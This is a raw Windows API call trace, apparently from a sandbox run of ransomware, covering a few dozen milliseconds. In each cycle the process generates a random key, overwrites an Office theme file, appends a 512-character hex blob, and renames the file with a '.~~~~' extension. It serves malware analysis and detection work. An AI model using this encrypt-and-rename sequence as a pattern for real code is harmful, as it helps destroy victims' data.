	[0123.527] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb3184bd0, dwHighDateTime=0x1d60e1e)) 
	[0123.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0123.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0123.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0123.528] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281f950
	[0123.528] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.528] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281f950 | out: hHeap=0x300000) returned 1
	[0123.528] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.528] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.528] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b7138
	[0123.528] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.528] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0123.528] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7138 | out: hHeap=0x300000) returned 1
	[0123.528] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0123.528] GetLastError () returned 0x0
	[0123.529] GetLastError () returned 0x0
	[0123.529] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0123.529] GetLastError () returned 0x0
	[0123.529] GetLastError () returned 0x0
	[0123.531] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff1ed, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.532] WriteFile (in: hFile=0x120, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0xe13, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0xe13, lpOverlapped=0x0) returned 1
	[0123.534] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0123.534] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.534] WriteFile (in: hFile=0x120, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.535] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.535] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.535] CloseHandle (hObject=0x120) returned 1
	[0123.535] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5d08
	[0123.535] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Technic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\technic.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Technic.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\technic.xml.~~~~")) returned 1
	[0123.537] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5d08 | out: hHeap=0x300000) returned 1
	[0123.537] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0123.537] GetLastError () returned 0x0
	[0123.537] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x395410) returned 1
	[0123.539] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.539] CryptReleaseContext (hProv=0x395410, dwFlags=0x0) returned 1
	[0123.539] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0123.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0123.539] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24352900327) returned 1
	[0123.539] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb31aad30, dwHighDateTime=0x1d60e1e)) 
	[0123.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0123.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0123.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0123.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281f988
	[0123.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.539] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281f988 | out: hHeap=0x300000) returned 1
	[0123.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.539] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.540] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee630
	[0123.540] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.540] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0123.540] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee630 | out: hHeap=0x300000) returned 1
	[0123.540] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0123.540] GetLastError () returned 0x0
	[0123.540] GetLastError () returned 0x0
	[0123.540] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0123.540] GetLastError () returned 0x0
	[0123.540] GetLastError () returned 0x0
	[0123.543] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff101, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.543] WriteFile (in: hFile=0x120, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0xeff, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0xeff, lpOverlapped=0x0) returned 1
	[0123.545] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0123.545] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.545] WriteFile (in: hFile=0x120, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.545] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.545] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.546] CloseHandle (hObject=0x120) returned 1
	[0123.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5a28
	[0123.546] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Thatch.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\thatch.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Thatch.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\thatch.xml.~~~~")) returned 1
	[0123.548] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5a28 | out: hHeap=0x300000) returned 1
	[0123.548] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0123.548] GetLastError () returned 0x0
	[0123.548] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x395410) returned 1
	[0123.550] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.550] CryptReleaseContext (hProv=0x395410, dwFlags=0x0) returned 1
	[0123.550] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0123.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0123.550] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24354003571) returned 1
	[0123.550] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb31d0e90, dwHighDateTime=0x1d60e1e)) 
	[0123.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0123.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0123.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0123.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281f9c0
	[0123.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.550] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281f9c0 | out: hHeap=0x300000) returned 1
	[0123.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.551] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6610
	[0123.551] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0123.551] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6610 | out: hHeap=0x300000) returned 1
	[0123.551] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0123.551] GetLastError () returned 0x0
	[0123.551] GetLastError () returned 0x0
	[0123.551] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0123.551] GetLastError () returned 0x0
	[0123.552] GetLastError () returned 0x0
	[0123.597] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff1e0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.597] WriteFile (in: hFile=0x120, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0xe20, lpOverlapped=0x0) returned 1
	[0123.598] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0123.598] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.598] WriteFile (in: hFile=0x120, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.599] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.599] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.599] CloseHandle (hObject=0x120) returned 1
	[0123.599] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a58b8
	[0123.599] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Trek.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\trek.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Trek.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\trek.xml.~~~~")) returned 1
	[0123.600] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a58b8 | out: hHeap=0x300000) returned 1
	[0123.600] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0123.600] GetLastError () returned 0x0
	[0123.602] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0123.603] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.603] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0123.603] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.603] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0123.603] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0123.603] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24359328819) returned 1
	[0123.603] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb32432b0, dwHighDateTime=0x1d60e1e)) 
	[0123.603] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0123.603] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0123.603] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0123.603] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281fad8
	[0123.603] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.604] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281fad8 | out: hHeap=0x300000) returned 1
	[0123.604] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.604] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.604] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b7138
	[0123.604] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.604] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc708
	[0123.604] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7138 | out: hHeap=0x300000) returned 1
	[0123.604] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0123.604] GetLastError () returned 0x0
	[0123.604] GetLastError () returned 0x0
	[0123.604] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0123.604] GetLastError () returned 0x0
	[0123.604] GetLastError () returned 0x0
	[0123.624] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.624] WriteFile (in: hFile=0x120, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0123.627] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0123.627] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.627] WriteFile (in: hFile=0x120, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.628] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.628] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.628] CloseHandle (hObject=0x120) returned 1
	[0123.628] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fafe0
	[0123.628] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Trek.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\trek.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Trek.thmx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\trek.thmx.~~~~")) returned 1
	[0123.629] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fafe0 | out: hHeap=0x300000) returned 1
	[0123.629] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0123.629] GetLastError () returned 0x0
	[0123.630] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0123.630] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.631] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0123.631] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0123.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0123.631] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24362089839) returned 1
	[0123.631] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb328f570, dwHighDateTime=0x1d60e1e)) 
	[0123.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0123.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0123.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0123.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281fb80
	[0123.632] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.632] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281fb80 | out: hHeap=0x300000) returned 1
	[0123.632] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x2943620
	[0123.632] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.632] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee6d8
	[0123.632] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2943620 | out: hHeap=0x300000) returned 1
	[0123.632] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbbc0
	[0123.632] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee6d8 | out: hHeap=0x300000) returned 1
	[0123.632] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0123.632] GetLastError () returned 0x0
	[0123.632] GetLastError () returned 0x0
	[0123.633] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0123.633] GetLastError () returned 0x0
	[0123.633] GetLastError () returned 0x0
	[0123.639] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.639] WriteFile (in: hFile=0x120, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0123.641] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0123.641] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.641] WriteFile (in: hFile=0x120, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.641] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.641] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.641] CloseHandle (hObject=0x120) returned 1
	[0123.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ee8d0
	[0123.641] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Waveform.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\waveform.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Waveform.thmx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\waveform.thmx.~~~~")) returned 1
	[0123.642] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee8d0 | out: hHeap=0x300000) returned 1
	[0123.642] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0123.642] GetLastError () returned 0x0
	[0123.645] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0123.645] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.646] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0123.646] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.646] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
